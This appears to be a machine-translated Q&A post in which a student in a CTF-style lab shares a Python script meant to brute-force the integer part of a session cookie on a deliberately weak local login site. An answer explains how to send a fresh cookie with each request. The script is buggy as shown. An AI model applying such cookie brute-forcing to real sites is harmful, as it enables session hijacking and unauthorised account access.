Python 发布cookie数据并返回值

Python 发布cookie数据并返回值,python,security,cookies,Python,Security,Cookies,我正在制作一个程序,尝试用python强制执行cookie值。 我在一个专为IT安全学生设计的环境中工作,它就像一个CTF-as-a-service。 我正在执行的任务是一个编程糟糕的登录站点,创建cookie会话的方法很弱。 cookie由三个值组成,一个从服务器端返回的整数、用户名和散列。我已经设法获取用户名和哈希,但我需要强制使用int值 我从来没有对饼干做过任何事情,也没有试图对它们进行暴力。 我想我可以手动观察程序运行并返回站点的标题,直到内容长度发生变化 这是我目前掌握的密码 fro

我正在制作一个程序,尝试用python强制执行cookie值。 我在一个专为IT安全学生设计的环境中工作,它就像一个CTF-as-a-service。 我正在执行的任务是一个编程糟糕的登录站点,创建cookie会话的方法很弱。 cookie由三个值组成,一个从服务器端返回的整数、用户名和散列。我已经设法获取用户名和哈希,但我需要强制使用int值

我从来没有对饼干做过任何事情,也没有试图对它们进行暴力。 我想我可以手动观察程序运行并返回站点的标题,直到内容长度发生变化

这是我目前掌握的密码

from requests import session
import Cookie
def createCook(salt):
  #known atrributes for the cookie
  salt = int('to_be_brute_forced')
  user = str('user')
  hash = str('hash_value')
  # create the cookies
  c = Cookie.SimpleCookie()
  #assing cookie name(session) and values (s,u,h)
  c['session'] = salt + user + hash
  c['session']['domain'] = '127.0.0.1:7777'
  c['session']['path'] = "/"
  c['session']['expires'] = 1*1*3*60*60
  print c 

def Main():
 print "Feed me Seymour: "
 salt = 0
 while (salt < 1000):
     print 'this is the current cookie: ', createCook(salt)
     cc = createCook(salt)
     salt = salt + 1
     try:
        with session() as s:
            s.post('http://127.0.0.1:7777/index.php', data=cc)
            request = s.get('http://127.0.0.1:7777/index.php')
            print request.headers
            print request.text
    except KeyboardInterrupt:
        exit(0)


if __name__ == '__main__':
 Main()
因此,我的问题是: 1.我需要在发布前保存cookie吗? 2.我如何始终向盐中添加+1并重新创建饼干?
3.如何将其发布到站点并知道找到了正确的请求?

发布请求时,您必须使用cookies作为参数,而不是数据

s.post(url, cookies=<cookiejar>)

在正常登录过程中,您通常希望保存cookie,这正是requests.session可以帮助您完成的。您将密码告知服务器,服务器将为您创建一个安全的cookie,并要求您的客户端进行设置,然后您的客户端将该cookie与后续的每个请求一起发送到服务器。但是,在尝试强制执行哈希时,您每次都希望发送不同的cookie。因此,您甚至可能不想使用requests.session,而是创建自己的cookie—您已经有了相应的代码,并在每个请求中创建和发送一个新的cookie。请参阅关于如何进行手动cookie处理的说明。